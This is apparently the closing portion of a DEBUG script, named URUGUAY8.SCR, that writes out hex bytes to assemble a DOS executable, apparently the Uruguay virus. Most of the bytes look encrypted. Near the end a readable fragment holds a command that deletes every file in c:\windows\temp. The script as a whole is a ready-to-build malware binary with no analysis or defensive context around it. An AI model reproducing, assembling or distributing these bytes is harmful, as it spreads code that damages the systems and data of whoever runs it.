7F 9A 99 78 F9 92 97 90 E 08C0 F7 92 73 95 69 BC 1E AE AA 9A 28 FA CA 89 23 95 E 08D0 D3 F9 F4 97 F4 6C 1F 32 C0 35 AC 3D DB 18 CE 1D E 08E0 E5 84 0B 3B 14 91 D4 78 A9 29 27 96 23 96 23 96 E 08F0 23 46 87 B2 C2 5A D0 21 19 E2 20 C9 0C 72 17 5A E 0900 17 22 1C F9 CA 68 24 68 1E 96 F0 D6 94 BE 5C 90 E 0910 0C 92 23 13 F5 83 1F 89 3B FE 23 E6 1A AE 63 98 E 0920 72 8D 3B DC 24 E6 12 E2 13 AE 6F 98 72 83 6F 95 E 0930 71 16 3B EC 24 E6 0D E2 9E 63 51 AE 81 98 72 80 E 0940 6F 94 3B FC 24 E6 0B E2 20 63 51 AE 91 98 72 7C E 0950 6F 96 3B 0C 25 E6 06 AE 9D 98 14 77 5D 90 53 90 E 0960 22 E6 1A AE 2B 9B 99 78 1A 96 97 90 18 96 73 8E E 0970 69 C5 1C AE 56 9B 72 8D 3B B4 27 0D 05 91 23 0A E 0980 1D 8F 23 E6 19 DC 9C 91 3B DF 27 9B 6A 96 E0 C9 E 0990 F3 5A A3 21 10 DE 12 53 56 67 9A 78 A1 91 97 90 E 09A0 9F 91 6F 92 24 78 A1 91 F0 D6 94 BE 82 2A 1F 92 E 09B0 11 5E 1D 2A 1F 21 29 F6 12 92 FF 66 72 92 51 AE E 09C0 67 93 23 5C 60 21 21 E3 1B 0B 60 68 9A 70 A3 91 E 09D0 56 86 F5 0B FD 16 1E E2 14 63 48 E4 AD 88 04 D8 E 09E0 73 94 27 EA F0 D4 98 C6 76 64 61 0C 53 EA F0 D4 E 09F0 AE 90 56 86 99 C6 37 A1 6A 8F 15 C9 12 68 98 70 E 0A00 A3 91 F0 D6 94 BE 82 2A 1F 92 FF 5E 1D 2A 1F 21 E 0A10 29 E6 C1 B0 02 B2 C1 8A A3 B0 C1 72 A4 B0 C1 88 E 0A20 04 D0 1C C7 1C BE 5C 90 53 90 23 63 63 08 4B F3 E 0A30 9E 96 F0 D6 70 16 56 83 56 7D 23 96 87 68 A3 58 E 0A40 53 90 23 21 BA 46 05 63 63 08 4B 15 28 62 11 21 E 0A50 1D 15 29 1E CD 22 16 5D 1D 12 23 22 D4 68 25 88 E 0A60 54 90 AE 4E D0 45 D1 40 CC 90 F5 98 1C C6 1C 63 E 0A70 63 08 4B 13 1D 83 1F 89 A2 58 03 96 52 90 AE 8C E 0A80 F5 D1 0C 8D 23 E6 1A AE 6A 9C 72 75 3B C8 28 88 E 0A90 04 0D 05 89 23 0A 1D 87 23 D0 1C 4D 1C 96 73 75 E 0AA0 69 48 1C AE 86 9C 1B 37 C5 3C CA 3B 04 3E 86 68 E 0AB0 24 68 1A 96 23 96 23 96 23 FA F4 16 E5 4D 1C 96 E 0AC0 AE 38 F5 0A 0D 4C 1C 68 9A 70 D7 8F F5 F3 F4 93 E 0AD0 97 CE 94 C6 66 68 FF 68 82 68 20 46 D0 45 D1 40 E 0AE0 CC 78 1D 68 5D 90 DA 8F 22 63 63 08 4B 15 E5 12 E 0AF0 23 48 1C 21 19 E6 01 68 5E 80 16 96 3B 53 29 AE E 0B00 45 9B 3A 9F 21 E2 F2 AE 80 95 F5 F3 1F 96 1C 77 E 0B10 C4 38 C9 3D C8 3E F5 08 0D 4C 1C 68 98 70 D7 8F E 0B20 86 68 24 68 16 96 73 96 54 FA A2 9A 1F 21 1B 68 E 0B30 A3 58 8D 96 22 22 15 F9 86 68 24 78 12 96 87 24 E 0B40 1F F9 58 94 23 68 5D 90 8D 96 22 E2 12 F9 29 CC E 0B50 20 96 E6 64 F3 21 18 15 29 62 11 21 1E DE AA 40 E 0B60 86 C7 39 42 22 FA 27 68 80 FF 22 59 23 4B AF 7A E 0B70 A3 9A E5 21 1A EE 1B 21 4A AE 5D 94 B0 88 A3 9A E 0B80 B6 21 54 44 98 C0 3A DE 20 3C B1 C0 CF 45 D1 3F E 0B90 CD 41 05 90 3B EF 21 68 A3 58 8B 96 B7 22 21 0B E 0BA0 31 0B 4D 40 CC 45 3B 42 21 3D C4 38 B0 93 3A AB E 0BB0 22 68 5D 90 93 96 23 DE 22 53 3B A7 22 68 9A 88 E 0BC0 7A 96 B0 93 3A C1 22 0B 62 71 1F 96 AF 93 3A CB E 0BD0 22 13 2A 76 AF 82 6B 95 E0 DD 02 96 3B C9 22 68 E 0BE0 A3 58 8D 96 22 21 20 AD 70 96 05 44 6B 94 E6 AE E 0BF0 68 96 98 BE 6A 94 E1 63 5A 63 51 AE 74 96 18 C4 E 0C00 AE 93 3A 16 23 59 23 BE AC 94 38 1D E6 96 21 1F E 0C10 21 AB B0 68 80 EB 22 46 6B 96 CC AE 94 96 F5 0D E 0C20 15 E9 22 68 9A 80 74 96 CB 16 42 77 F5 5C 15 E5 E 0C30 22 22 D1 AE A3 95 F5 F5 77 96 1E 96 22 68 80 66 E 0C40 17 43 F5 D0 1C EE 22 95 3B 1F 20 24 EB 3B D2 DE E 0C50 20 54 F0 CD 68 95 23 AE D0 96 6F 56 69 20 0B 3D E 0C60 15 77 3B 4F 23 68 A3 58 8D 96 22 22 0B DE 21 3F E 0C70 F5 0B 15 E9 22 68 98 80 74 96 A3 B5 42 68 19 88 E 0C80 72 96 3B 6F 23 E2 E4 AE 00 96 C9 77 6B 95 E0 68 E 0C90 98 88 7A 96 A0 9D 02 22 20 AE 12 96 3B A6 22 8F E 0CA0 04 39 C5 37 C9 3D C8 AB 12 AD F7 9A 3A 1F 23 FA E 0CB0 F4 97 04 7D 23 AE DE 96 60 43 D1 78 1D AE BC 96 E 0CC0 15 77 73 6C 3B 00 2B 0D 05 75 23 0A 1D 73 23 E6 E 0CD0 F8 DC A9 8D 3B 2B 2B F5 8B 96 1C 77 C9 3B 86 68 E 0CE0 24 68 0A 96 D3 44 05 AE 10 96 73 6C F5 D1 0C 75 E 0CF0 23 AE D4 9E 03 3C CB 68 24 68 02 96 87 46 CD 3F E 0D00 05 90 F5 D1 EC 7D 23 88 1C D7 99 96 27 F2 7D F1 E 0D10 F4 D2 E4 7D 23 E6 38 EC 6A 9C 1B EB 96 CE 77 8F E 0D20 04 37 C5 3E 86 D3 86 40 CC 78 1D 88 04 D8 99 96 E 0D30 5F 58 0A 96 27 F2 7D F1 1B 77 C4 38 86 D3 3A BD E 0D40 21 73 19 B6 EF 64 25 B0 8E 62 5B 57 44 88 A1 21 E 0D50 43 FE 42 88 91 B6 5A 63 44 06 1F CE 43 BF 34 97 E 0D60 B9 98 25 B6 B6 B0 23 B6 92 92 89 FB 3B CE 70 BF E 0D70 92 A3 5A CE 4B 2D 25 A1 42 2A 3D 9F 42 06 30 FC E 0D80 84 AF 5A F9 4B F0 3C 20 43 B6 3B 97 E8 5B 80 AE E 0D90 9A 95 DA 8C 5C A1 96 B9 3E CF AB AB 73 2C 65 A1 E 0DA0 96 B9 46 CF AB BC 73 36 65 1B 2E A1 BB 3A 5C 1D E 0DB0 5C E7 63 D1 98 AE C0 95 92 8C 42 6D FA A7 22 12 E 0DC0 B4 B5 89 B5 FF 82 79 82 70 CD 61 B7 8D 76 89 51 E 0DD0 42 FB 1C B5 59 E0 43 F6 1C B5 B5 ED B3 F5 1B 34 E 0DE0 05 68 E8 41 3B 8F C1 78 E8 68 CD AF 13 EF 3B 25 E 0DF0 42 B4 89 B5 FF 82 79 82 70 CD 91 B7 7E AE 08 95 E 0E00 4E 8C 43 BA 96 7A 43 41 48 68 F5 B9 83 13 43 A8 E 0E10 3B FD 37 B6 4F 10 CF 8F 97 7A E7 41 48 70 FD 35 E 0E20 07 63 00 42 29 35 07 70 16 42 2F 35 07 75 FA BA E 0E30 96 7A ED 42 39 7A 15 42 3F 7A 43 41 50 BE 7F BD E 0E40 7F AE 4C 96 06 8B 5C 7F 0B 79 05 C9 D0 DD 4D C8 E 0E50 5F 23 20 6E EA C6 1F 55 E5 CA 2F AF D3 8B 5D C5 E 0E60 9B 5A 6E 4C 6E CA 9C 2F 5C 16 58 CF 05 7E 69 29 E 0E70 03 71 E8 C1 9C 2B 5C DC B5 5B 55 C8 FC 71 03 77 E 0E80 63 0C 55 70 FE 76 04 D7 98 AE 22 96 CB 0B 4B 0A E 0E90 5B 08 63 08 4B 0B 15 88 22 91 13 96 20 CE D1 0B E 0EA0 15 80 22 93 5B 45 94 0F A1 96 24 60 13 95 24 60 E 0EB0 0F 95 94 0F A3 96 98 88 1D 95 98 80 1B 95 98 58 E 0EC0 0B 95 A2 CF 22 95 52 B4 51 B4 51 B4 51 B4 3F 80 E 0ED0 F5 D1 ED 4F DC 4F DC 0A 46 93 3B 70 20 68 1B 95 E 0EE0 95 B9 21 92 41 AC 14 77 27 D7 22 95 98 A4 1F 9F E 0EF0 97 CB F7 C8 2F F2 28 3B CB 08 53 0B 40 63 63 DD E 0F00 23 96 F0 BB 64 96 22 D7 24 97 27 AC EE 84 AB 40 E 0F10 22 93 1E 96 45 FA C5 8A AE 7E F5 0A 05 ED 17 88 E 0F20 04 F3 7D 8B 9A 78 7C 8B C8 0B 1C F3 75 8B 99 4F E 0F30 21 13 60 93 9A 78 78 8B FB 8F E0 5B 05 E9 17 20 E 0F40 2C DE 38 8B D3 97 EC EB 17 F5 7D 8B 98 78 7C 8B E 0F50 95 78 7A 8B 60 68 97 78 7A 8B F5 F3 7D 8B F5 0D E 0F60 05 EF 17 FA EF D6 94 BE 82 2A 1F 8C 63 22 21 98 E 0F70 62 88 04 0B 05 EB 17 0E DC 97 22 8F E0 5B 05 E9 E 0F80 17 20 2C F9 81 F1 17 0B 05 EF 17 08 05 ED 17 D3 E 0F90 21 95 22 95 22 23 F8 5A 17 CC 16 95 20 20 0B 47 E 0FA0 C3 87 22 94 23 96 23 96 23 97 22 96 23 96 22 8F E 0FB0 14 8F 13 95 23 95 8D 73 F6 58 23 96 23 96 23 96 E 0FC0 23 96 3B 41 24 21 0B 32 D6 89 BB 3A C3 3D C6 37 E 0FD0 2F F0 79 E8 71 1F EF 1F EC 1F EE 1F ED 1F E9 1F E 0FE0 EA 1F D5 47 BF C0 BE BE BE BD BE BC BE B6 BE DD E 0FF0 64 E0 61 3B E5 3B E2 3C E5 3C E1 3C ED 3C E9 61 E 1000 ED 61 EA 61 E5 61 E2 62 DD 62 D9 62 D5 62 D1 34 E 1010 FD 34 F9 34 F5 34 F1 00 C9 00 ED AB D4 AC CC AC E 1020 E8 00 BD 08 9D 28 35 20 A5 F4 98 04 89 01 BE 09 E 1030 EE 61 C8 3B 8E 31 96 01 BE 09 3E B1 3D 32 BF 32 E 1040 BF 2A AF 1A B7 2A B7 1A A7 1A B8 2E BA 02 BF 0A E 1050 BF 2F B9 2B 8F 32 BB 2D B9 2D BD 32 BF 32 C0 32 E 1060 18 A9 BE 32 BF 32 80 7E BF 32 BF 31 BD 2D BC 2C E 1070 B8 32 BE 32 BF 31 BE 32 BF 32 C0 32 BF 32 BF 32 E 1080 BF 32 BF 31 C1 33 2B 46 F5 26 25 C3 DF 33 BF 32 E 1090 4C 07 1C B2 BE 31 BB 2D B9 32 BE 2F B9 2B BC E2 E 10A0 6D DC 67 14 B9 A6 F6 A4 E6 A4 FE 74 B2 25 00 17 E 10B0 B2 79 B8 32 C3 3F 1A 2B A0 D3 60 D9 66 6F 6F E1 E 10C0 67 2C B1 2B 00 2C B2 82 BF 79 B8 32 C3 3F 15 2B E 10D0 60 D9 66 6F 6F DB FF 2C B2 7E BF 2F C7 04 F9 2D E 10E0 BE D3 66 6F 34 5A 08 32 EE 4F 91 A7 1F 17 B2 6F E 10F0 6F DF 6D DC A0 24 A0 74 B9 25 06 2B BF 7E BF 86 E 1100 BD 52 DD 37 0F 2B 95 6E D7 C0 B4 74 B9 25 06 2B E 1110 BF 86 B5 72 4A 2F 74 BE BC 50 C9 B1 D0 2B B2 A7 E 1120 F8 4A B9 32 A0 D4 65 D7 66 6F D4 0C 45 24 33 24 E 1130 21 24 0F 24 04 24 F2 24 E0 24 D8 24 D0 24 C5 24 E 1140 BA 23 AF 23 A4 23 99 23 93 23 8D 23 87 23 81 23 E 1150 7B 23 6F DF 6D E0 68 14 8D 4E 34 42 34 5A EE 4C E 1160 3E 6C A4 25 91 A8 37 33 B3 E2 0E 30 D7 24 B5 F6 E 1170 BD BE 82 82 C0 4A BA 28 35 5F 0F 33 D7 34 B6 A8 E 1180 CB 82 BC 4A C8 29 8C 69 67 E2 B3 72 4A 2C 3C 37 E 1190 BE BD BD F1 0E 25 D7 4E B6 61 DC 04 34 AB FF 25 E 11A0 64 24 A0 36 B4 69 C0 62 A0 D4 64 D9 63 DA FB 82 E 11B0 BA 4A F6 29 85 14 8C 25 4B 3D 74 A8 37 04 B2 A8 E 11C0 1F 09 B2 61 DC A7 27 17 B2 D9 EE 51 EF 51 EF 51 E 11D0 BD 6A 3F 71 FF 82 B9 4A 1C 29 EE 4F C0 9B E5 25 E 11E0 35 71 15 47 FC 82 BA BD B7 82 3E 88 0F 72 BD 6F E 11F0 15 A7 FC 87 BE 2E FC 82 92 BD B7 82 3E 88 0F 4A E 1200 BD 6F 15 A7 FC 87 96 2E FC 82 8A BD B7 82 3E 88 E 1210 0F 42 BD 6F 15 A7 FC 87 8E 2E FC 82 07 30 FC 88 E 1220 34 70 14 A9 BA 6F 0F 25 4A 2B 0F B1 14 82 F7 30 E 1230 FC 88 34 70 14 29 BB 6F 0F 0D 4A 2B 0F B1 14 82 E 1240 DF 30 FC 88 34 70 14 11 BB 6F 0F F2 BC 6F 15 33 E 1250 BB 6F 0F EA BC 6F 15 33 B3 6F 0F 3B 15 82 EF 30 E 1260 FC 88 C8 1E FC 82 EE 88 0F 4A BD 6F 15 61 93 6F E 1270 0F 61 15 82 DF 30 FC 88 EE 0E FC 82 EE 88 0F 6A E 1280 BD 6F 15 61 B3 6F 0F 61 15 82 FF 30 FC 88 EE 2E E 1290 FC 82 34 88 36 1E FC 82 9C 88 9E 1E FC 82 8C 88 E 12A0 8E 1E FC 82 B4 88 B6 1E FC 82 BC 88 BE 1E FC 82 E 12B0 94 88 96 1E FC 47 A4 32 BF 32 BF 32 BF 32 BF 32 E 12C0 BF 32 BF 32 BF 32 BF 32 BF 32 F5 22 E3 22 D1 22 E 12D0 BF 21 6F DF 6D DC A0 DD F8 2C 73 23 BF 00 DB A7 E 12E0 CE A7 E6 61 D9 B1 F8 17 B2 F9 AA BE 4F A8 37 33 E 12F0 B3 E2 0E 2F D7 AC B6 FF F5 DA 6E 27 FF BD B8 AF E 1300 C3 31 4A 31 7E D5 69 A7 BA 4A F2 32 B4 57 4A 2F E 1310 62 47 78 A7 BA 4A CF 32 B4 57 4A 2F 62 47 84 A7 E 1320 BA DC D6 F4 BE D4 0E 2E BD 2C 73 23 D7 E4 B6 B2 E 1330 C3 2D 4D 1A 3F 47 BB 61 DC A7 37 E7 AF D7 BC 6F E 1340 B5 4E 4B 2E 99 AA 99 EB C2 88 D4 24 EE 4F 34 AB E 1350 61 23 64 36 B4 69 34 26 C0 62 36 1E 62 13 61 D9 E 1360 63 DA FB A7 E6 EF 83 5F 4A 2C 04 F2 BE 4A 6B 32 E 1370 34 5A 74 F7 EB BD B8 77 77 32 D7 EB BE A7 E6 3B E 1380 EC F7 EB BD B8 77 EF 3B D7 F9 BE A7 E6 61 D4 F7 E 1390 EB BD B8 77 D7 61 D7 07 BF A7 E6 61 DC F7 EB BD E 13A0 B8 77 DF 61 D7 15 BF A7 E6 61 F4 F7 EB BD B8 77 E 13B0 F7 61 D7 23 BF A7 E6 61 FC F7 EB BD B8 77 FF 61 E 13C0 D7 31 BF 6F 34 FC 72 23 3E 4C C0 32 EE 4C 3E 6C E 13D0 72 23 C1 2C 73 23 36 16 FC A7 E6 FF E4 0F E7 BD E 13E0 9B E2 0E 28 D7 9C B7 DA 73 BD A5 A7 E6 FF E4 82 E 13F0 B2 36 B4 69 4A 2B 0F B1 14 82 F7 2F FA 88 34 6F E 1400 14 FF E3 6F 04 31 BF 6F 34 5A 8C 58 C8 5F B4 5A E 1410 3C 37 C0 BD B6 82 B5 4A 5C 2B 74 BE BA 77 BE 32 E 1420 FC 82 9A 27 F6 BD B7 82 3E 88 0F 52 BC 6D 15 A7 E 1430 FC 87 8C 57 FC 82 BA BD B7 82 3E 88 0F 72 BD 6F E 1440 15 A7 FC 07 FE 87 FC 82 92 BD B7 82 3E 88 0F 4A E 1450 BD 6F 15 A7 FD 07 FD 87 FC 82 8A BD B7 82 3E 88 E 1460 0F 42 BD 6F 15 A7 FC FF FD 87 FC 82 07 30 FC 88 E 1470 34 70 14 6F 6F DF 68 DB A0 2C B1 13 B1 2B 6D 6C E 1480 B9 FF B1 33 F9 2C 75 26 BF B2 80 8A BF 32 4A 29 E 1490 D6 76 BF AE AD A1 AD 76 AE DF D6 30 C3 4A A1 36 E 14A0 F9 2C 88 26 BF 73 49 1A D7 14 B9 4A A4 2C 0F 2F E 14B0 D7 68 B9 36 EE 4F C0 9B 98 21 3E 33 E7 1A 48 58 E 14C0 0B F2 63 78 49 1A 06 CF BE 4A DF 3B 69 DB 00 17 E 14D0 B2 73 CE 26 06 2B BF 36 CC 8D 60 D4 90 6C B9 8A E 14E0 BF 32 91 B2 80 9C BE 31 4A CD 64 39 D6 2D BD 82 E 14F0 D6 88 1E A4 BE 07 F8 2D 48 1A 14 6F 0F 2D D7 B6 E 1500 B8 A8 37 0A B2 4A F3 37 34 1C 31 32 3E 70 BC 31 E 1510 D7 90 C2 4A 0C 2D 35 AB 91 25 BB E2 14 4A 21 37 E 1520 D7 8C BA 82 FC 88 FC 82 BA 4A 6E 2C 35 AB 96 25 E 1530 D7 91 C4 A7 A8 A4 BE B1 FC 2F BE 4A 48 35 D7 AA E 1540 B9 82 C0 88 35 AB 91 25 BB 52 15 4A 4F 37 FC DC E 1550 67 74 CE 26 00 17 B2 79 B8 32 C3 3F 1A D3 60 4A E 1560 63 37 F9 2C 88 26 BF D8 0E 2E D7 22 B9 E7 36 14 E 1570 D0 26 35 AB D9 26 EF 52 EF 52 EF 52 1D 49 B3 A8 E 1580 37 48 B3 90 D1 26 F9 2C 85 26 BF 6C B9 F7 B2 32 E 1590 F9 2C 83 26 BF 6C B9 F5 B2 32 F9 2C 81 26 BF 6C E 15A0 B9 F3 B2 32 F9 2C 7F 26 BF 6C B9 F1 B2 32 F9 2C E 15B0 7D 26 BF 6C B9 EF B2 32 F9 2C 87 26 BF 73 47 1A E 15C0 EE 43 36 F4 92 26 0F 33 D7 80 BA 2F C4 A9 80 04 E 15D0 B3 82 C0 4A 18 2D 6C 82 C0 4A 1E 2D 67 A8 DB 8F E 15E0 95 26 B1 2B C3 73 49 1A F9 2C CF 26 BF 6C B9 0B E 15F0 B3 32 0F 2E D7 AC B9 B2 C3 31 4A 2A C1 2C CF 26 E 1600 C1 2C 98 26 F9 2C 99 26 BF 6C B9 0A B3 32 0F 2F E 1610 D7 C8 B9 4A 9A 2E 3F F4 99 26 BE BD CD 4A 16 2E E 1620 68 82 BA 4A 68 2D 34 67 01 EE B2 6C B9 FB B2 31 E 1630 D7 5D BF 92 89 26 37 2E C1 2C 87 26 79 50 CE 92 E 1640 85 26 B5 2C 84 26 B5 2C 83 26 B5 2C 82 26 B5 2C E 1650 81 26 B5 2C 80 26 B5 2C 7F 26 B5 2C 7E 26 B5 2C E 1660 7D 26 B5 2C 7C 26 4A 2F 7E 47 FA 4A 17 31 F9 2C E 1670 86 26 BA 4A 6C 2E F9 2C 86 26 BF DB 00 32 BF EB E 1680 77 A7 B0 06 B3 DB CB 8D 60 E1 3D 6B 62 26 06 19 E 1690 B3 92 63 26 BF 2D 78 50 C4 D9 5F A7 F7 D7 93 6F E 16A0 82 B3 BE C0 B5 2B A0 D3 60 D7 66 49 F9 35 0B 34 E 16B0 95 52 0F 50 15 A8 FA 88 34 3B 1E 02 B3 2F F8 05 E 16C0 48 1A 1C FE B2 A7 80 00 B3 A7 EE 92 96 26 BB 2F E 16D0 D7 50 C4 AF D0 30 34 34 35 24 87 26 0A 32 04 EE E 16E0 B2 2F E6 E7 34 2B 6C E1 68 DB D6 B7 BC D3 60 D9 E 16F0 63 50 CF 3A 0F 33 D7 AE BA A7 F3 2F B1 04 B3 61 E 1700 DE 2B A0 D3 60 D7 66 6F D4 12 CC 1F C6 1F C1 1F E 1710 BC 1E B7 1E B2 1E AC 1E A6 1E A0 1E 9B 1E 96 1E E 1720 90 1E 8B 1E 86 1E 86 1E 86 1E 0F 22 D7 E4 BA B2 E 1730 C3 2E 48 2D 35 AB 01 26 15 82 AF 4A 80 2E 3F F4 E 1740 CE 26 BF BE B6 B2 C3 2F 48 2F 3F 6F BC AA A0 FC E 1750 B2 A8 37 71 B3 88 EE 4F C0 9B 21 1F D4 E7 3E FC E 1760 83 26 C0 6F C1 2C 85 26 FC 34 B1 F8 B2 6F C1 2C E 1770 83 26 FC 34 B1 F6 B2 6F 3F FC 81 26 C0 6F 3F FC E 1780 80 26 C0 6F 3F FC 7E 26 C0 6F C1 2C 80 26 FC 34 E 1790 B1 F3 B2 6F 3F FC 7C 26 C0 6F C1 2C 7E 26 FC 34 E 17A0 B1 F1 B2 6F C1 2C 7C 26 FC A8 A0 09 B3 A8 37 54 E 17B0 B3 A8 A0 FC B2 B2 C3 24 4D 0C BD AB EA 26 D7 FF E 17C0 BE 82 C0 4A 08 2F 6C 82 C0 4A 0E 2F 67 A8 DB 87 E 17D0 35 14 75 26 EE 4F 36 AB 73 26 C1 2C 75 26 D4 22 E 17E0 BD AB ED 26 3F 37 BC BB BA 30 B9 49 B3 4A BB 32 E 17F0 D7 5C BD 6F 6F 82 BA 4A 3C 2F 67 B2 C3 31 4B 2B E 1800 3F 37 BD BE B5 47 B2 2E 7F 88 8D 72 D4 2C BB B2 E 1810 14 00 FF 88 15 6F D4 DE 03 EF 3B 6F BD B1 D3 34 E 1820 C0 AF D3 34 3E 6F BD 32 FC 47 01 EC 3B 6C BD B1 E 1830 D0 34 C0 AF D0 34 3E 6C BD 32 F9 44 00 EB 3B 6B E 1840 BD B1 CF 34 C0 AF CF 34 3E 6B BD 32 F8 43 8E 1D E 1850 86 1D 7D 1D 74 1D 6B 1D 62 1D 0E 1D FD 1D EC 1D E 1860 E0 1D D4 1D CC 1D 27 1D 1A 1D B6 32 69 A8 A0 09 E 1870 B3 34 F4 82 AD 3C DC F2 34 6A 0F 2C D7 34 BD A8 E 1880 FB A8 E5 7B BF B1 FB 85 AB DF C0 6A 8D 4E EE 52 E 1890 BA 4F AB A7 E6 A7 B7 D7 BF 62 61 6F 35 2B 15 4A E 18A0 98 30 15 6F 34 EB BD 87 35 EB BB 88 FC A7 77 2E E 18B0 14 A7 77 2C 14 6F 34 EB B6 87 35 EB B4 88 FC A7 E 18C0 77 27 14 A7 77 25 14 6F F8 2C C0 1E BF 32 34 3F E 18D0 0F 2E D7 8A BD A7 F3 4A AF 32 D7 46 BE 50 C7 82 E 18E0 BD 4A 26 30 EE 4F C0 8B C6 1E 0F 33 D7 A4 BC DF E 18F0 0E 33 D7 AA BC D8 34 3F 0F 2C D7 B2 BC 61 DC 33 E 1900 18 45 AB A7 7A 27 14 7A BD 32 94 2C C0 1E 14 6F E 1910 34 EE BA 87 1E 33 AB 05 BD 32 14 6F 34 EE BD 87 E 1920 3F 50 40 A8 FC 88 8D 3C BE 1C C0 1E FC A7 7A 2A E 1930 14 B2 DC B3 34 70 15 00 C9 09 A9 33 AB 6F 34 EE E 1940 B3 87 34 70 14 31 A9 33 AB 6F 34 EE BA 87 34 70 E 1950 14 09 A9 33 AB 6F 35 2E 15 33 B9 33 AB 6F 35 2E E 1960 BB 2A 15 33 B1 33 AB 6F D4 12 8C 1C 85 1C 7E 1C E 1970 77 1C 70 1C 69 1C 62 1C 5B 1C 4F 1C 43 1C 37 1C E 1980 2A 1C 1D 1C 10 1C 0B 1C 06 1C 8D 4E EE 52 34 5A E 1990 34 AB C1 1D 34 24 93 26 34 14 95 26 C0 52 12 FF E 19A0 FB 87 DD 38 FC 85 94 6F 14 50 C5 6F 12 2F FC 87 E 19B0 DD 38 FC 85 EE 6A 14 50 C5 6F 12 61 FF 87 DD 38 E 19C0 FC 85 C8 62 14 50 C5 6F 12 3B E7 87 DD 38 FC A7 E 19D0 A0 04 B3 85 8C 6F 74 87 DD 39 FC A7 A0 04 B3 85 E 19E0 94 6F 74 87 DD 39 FC A7 A0 04 B3 85 BC 6F 74 87 E 19F0 DD 39 FC A7 A0 FE B2 85 8C 6F 7C EF 13 50 C7 6F E 1A00 34 14 8B 26 12 07 FC EF 7B 87 DD 3A FC A7 A0 FE E 1A10 B2 85 BC 6F 7C EF 13 50 C7 6F 07 FF A8 47 B5 7A E 1A20 85 1C D4 2D 07 F1 A8 47 BF A8 A0 E8 B2 00 C0 61 E 1A30 DC A7 1F E9 B2 34 B1 E8 B2 33 DF 92 99 26 9D 2C E 1A40 98 26 9D 2C 97 26 1D 0D B3 B2 FF 0D B3 31 4A 2B E 1A50 FC 38 A9 EF A7 E1 A7 6C 38 0D B3 31 D7 C8 BE 61 E 1A60 DC 33 18 4E A9 82 BC 4A AC 31 85 14 D0 26 4B 3D E 1A70 37 14 96 26 0F 1A 3F 37 BE BE B5 82 8F B2 C3 30 E 1A80 4B 30 0F FA 1C 56 B3 90 E2 26 1D 54 B3 B2 FB 2F E 1A90 35 6F D7 F3 C8 34 F7 90 8C 25 36 F4 8C 26 06 2E E 1AA0 BF 82 B5 4A E8 32 35 AB 5F 26 15 50 CB 6F 1F 44 E 1AB0 B3 4A 9F 3C 34 1C 95 26 D7 38 C8 6F 0F 31 D7 1F E 1AC0 C9 A7 A8 04 B3 4A D2 3B FC E2 6B E1 0E 25 95 2C E 1AD0 86 26 D7 8A BF 30 A1 F9 B2 E7 4A 2B 34 67 D7 2C E 1AE0 BF 50 C4 D9 63 DA FB 47 B5 2F A7 98 A7 8B A8 AD E 1AF0 B1 AD B1 E2 6B E1 0E 2D D7 B0 BE 61 DC 33 28 B6 E 1B00 A7 D9 63 DA FB 82 99 4A 4C 32 EE 4F 34 AB 56 26 E 1B10 14 6F 3F F4 87 26 BE BE D2 82 BC 4A 60 32 35 AB E 1B20 E0 26 BB 22 6F A8 FB 2E BC 4A 07 3D 3C 37 C0 BD E 1B30 BC DA FB 82 B7 4A 7A 32 83 2E 48 2D 35 AB 01 26 E 1B40 15 82 B7 4A 88 32 35 AB 09 26 6F 82 BD 4A 92 32 E 1B50 67 30 FC 34 F7 88 8C 69 3F 37 BE BE B2 82 BD 4A E 1B60 A4 32 3F 37 BE BE BC 81 A7 DA BC 71 15 6F 0F 28 E 1B70 D7 28 BF A8 37 D3 B2 88 FC B1 B4 9F 49 DC A0 E2 E 1B80 8B 72 31 5A 1E C6 BA 04 BF 2C AE 1A 91 02 99 21 E 1B90 A7 04 1F 22 A7 04 97 2C AE 1A 91 91 B1 1A 82 F2 E 1BA0 9F C0 B8 FF FE 04 1C 24 A7 A7 CE 04 8F 2C AE 1A E 1BB0 07 32 C3 A4 E6 04 1F 21 A7 00 BB EC 90 33 B9 24 E 1BC0 A7 04 BF 2C AE 1A 91 62 B9 21 A7 04 1D 22 A7 D7 E 1BD0 84 6F 4D 2E 95 6F D4 3A C1 72 35 5A 8D 33 A0 D4 E 1BE0 FB F8 FC 5B 05 95 02 72 00 00 00 01 00 00 80 00 E 1BF0 13 00 2D A2 DF AD 00 01 80 00 00 00 03 A2 30 A2 E 1C00 30 A2 08 00 05 95 05 95 B3 05 64 A1 00 00 00 FF E 1C10 BF A4 2D A2 81 00 05 95 B4 05 A9 2F 05 95 F5 04 E 1C20 00 00 24 00 00 00 00 2C 00 2E 00 2D 00 3A 00 00 E 1C30 02 00 F5 0C 1C 01 2C 00 00 00 00 00 00 00 00 00 E 1C40 00 00 00 00 00 4A 01 F5 04 FF FF 20 4E 55 4C 0D E 1C50 0A 7C 64 65 6C 20 63 3A 5C 77 69 6E 64 6F 77 73 E 1C60 5C 74 65 6D 70 5C 2A 2E 2A 20 3E 06 00 00 00 00 E 1C70 00 05 FF 00 00 6A 9E 05 95 00 00 00 00 00 00 00 E 1C80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 1C90 00 01 4E 58 C3 00 00 00 00 00 00 00 4D 08 00 4A E 1CA0 11 00 00 00 53 43 00 00 00 00 00 00 FF FF FF FF E 1CB0 FF FF FF FF FF FF FF FF FF FF FF FF RCX 1BBC W Q ;=[END URUGUAY8.SCR]=========================================================